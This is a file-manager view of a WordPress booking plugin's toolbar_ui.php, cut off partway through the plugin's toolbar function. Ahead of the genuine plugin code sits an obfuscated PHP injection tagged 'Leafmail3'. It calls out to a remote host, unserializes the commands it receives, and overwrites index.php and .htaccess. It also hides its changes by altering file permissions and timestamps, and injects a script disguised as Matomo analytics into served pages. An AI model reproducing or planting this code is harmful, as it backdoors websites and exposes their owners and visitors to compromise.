trAvis - MANAGER
Edit File: toolbar_ui.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.1 * @package Any * @category Toolbar. UI Elements for Admin Panel * @author wpdevelop * * @web-site http://oplugins.com/ * @email info@oplugins.com * * @modified 2022-05-07 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit, if accessed directly // --------------------------------------------------------------------------------------------------------------------- // T o o l b a r s // --------------------------------------------------------------------------------------------------------------------- /** * Show top toolbar on Booking Listing page * * @param $escaped_search_request_params - escaped search request parameters array */ function wpbc_ajx_bookings_toolbar( $escaped_search_request_params ) { wpbc_clear_div(); //wpbc_toolbar_search_by_id_bookings(); // Search bookings by ID - form at the top right side of the page // wpbc_toolbar_btn__view_mode(); // Vertical Buttons //FixIn: 9.8.15.2 // Toolbar //////////////////////////////////////////////////////////////// $default_param_values = wpbc_ajx_get__request_params__names_default( 'default' ); $selected_tab = ( isset( $escaped_search_request_params['ui_usr__default_selected_toolbar'] ) ) ? $escaped_search_request_params['ui_usr__default_selected_toolbar'] : $default_param_values['ui_usr__default_selected_toolbar']; ?><div id="toolbar_booking_listing" class="wpbc_ajx_toolbar"><?php // <editor-fold defaultstate="collapsed" desc=" T O P T A B s " > wpbc_bs_toolbar_tabs_html_container_start(); wpbc_bs_display_tab( array( 'title' => ' ' . __('Filters', 'booking') , 'hint' => array( 'title' => __('Filter bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.ui_container_toolbar').hide();" . "jQuery('.ui_container_filters').show();" . "jQuery('.wpbc_ajx_toolbar .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" /** * It will save such changes, and if we have selected bookings, then deselect them */ // . "wpbc_ajx_booking_send_search_request_with_params( { 'ui_usr__default_selected_toolbar': 'filters' });" /** * It will save changes with NEXT search request, but not immediately * it is handy, in case if we have selected bookings, * we will not lose selection. */ . "wpbc_ajx_booking_listing.search_set_param( 'ui_usr__default_selected_toolbar', 'filters' );" , 'font_icon' => 'wpbc_icn_published_with_changes' //FixIn: 9.0.1.4 'glyphicon glyphicon-random' , 'default' => ( $selected_tab == 'filters' ) ? true : false ) ); wpbc_bs_display_tab( array( 'title' => __('Actions', 'booking') , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.ui_container_toolbar').hide();" . "jQuery('.ui_container_actions').show();" . "jQuery('.wpbc_ajx_toolbar .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" /** * It will save such changes, and if we have selected bookings, then deselect them */ // . "wpbc_ajx_booking_send_search_request_with_params( { 'ui_usr__default_selected_toolbar': 'actions' });" /** * It will save changes with NEXT search request, but not immediately * it is handy, in case if we have selected bookings, * we will not lose selection. */ . "wpbc_ajx_booking_listing.search_set_param( 'ui_usr__default_selected_toolbar', 'actions' );" , 'font_icon' => 'wpbc_icn_adjust' //FixIn: 9.0.1.4 'glyphicon glyphicon-fire' , 'default' => ( $selected_tab == 'actions' ) ? true : false ) ); if ( class_exists( 'wpdev_bk_personal' ) ) { //FixIn: 9.6.1.5 wpbc_bs_display_tab( array( 'title' => __('Options', 'booking') //FixIn: 9.5.4.3 , 'hint' => array( 'title' => __('User Options' ,'booking') , 'position' => 'top' ) , 'onclick' => "jQuery('.ui_container_toolbar').hide();" . "jQuery('.ui_container_options').show();" . "jQuery('.wpbc_ajx_toolbar .nav-tab').removeClass('nav-tab-active');" //FixIn: 9.8.15.2 . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" /** * It will save such changes, and if we have selected bookings, then deselect them */ // . "wpbc_ajx_booking_send_search_request_with_params( { 'ui_usr__default_selected_toolbar': 'options' });" /** * It will save changes with NEXT search request, but not immediately * it is handy, in case if we have selected bookings, * we will not lose selection. */ . "wpbc_ajx_booking_listing.search_set_param( 'ui_usr__default_selected_toolbar', 'options' );" , 'font_icon' => 'wpbc_icn_tune' //FixIn: 9.0.1.4 'glyphicon glyphicon-fire' , 'default' => ( $selected_tab == 'options' ) ? true : false //, 'position' => 'right' ) ); } wpbc_bs_dropdown_menu_help(); wpbc_bs_toolbar_tabs_html_container_end(); // </editor-fold> // ------------------------------------------------------------------------------------------------------------- // Filters // ------------------------------------------------------------------------------------------------------------- ?><div><?php //Required for bottom border radius in container ?><div class="ui_container ui_container_toolbar ui_container_filters ui_container_filter_row_1" style="<?php echo ( $selected_tab == 'filters' ) ? 'display: flex' : 'display: none' ?>;"><?php ?><div class="ui_group ui_group__dates_status ui_search_fields_group_1"><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line wpbc_ajx__ui__booked_dates( $escaped_search_request_params, $default_param_values ); wpbc_ajx__ui__booking_status( $escaped_search_request_params, $default_param_values ); ?></div><?php ?><div class="ui_group ui_group__keyword ui_search_fields_group_2"><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line wpbc_ajx_toolbar_keyword_search( $escaped_search_request_params, $default_param_values ); wpbc_ajx_toolbar_clear_keyword_search( $escaped_search_request_params, $default_param_values ); //FixIn: 9.7.2.3 wpbc_ajx_toolbar_force_reload_button( $escaped_search_request_params, $default_param_values ); ?></div><?php ?></div><?php ?><div class="ui_container ui_container_toolbar ui_container_small ui_container_filters ui_container_filter_row_2" style="<?php echo ( $selected_tab == 'filters' ) ? 'display: flex' : 'display: none' ?>;"><?php ?><div class="ui_group ui_group__statuses ui_search_fields_group_1"><?php // array( 'class' => 'group_nowrap' ) // Elements at Several or One Line wpbc_ajx__ui__booking_resources( $escaped_search_request_params, 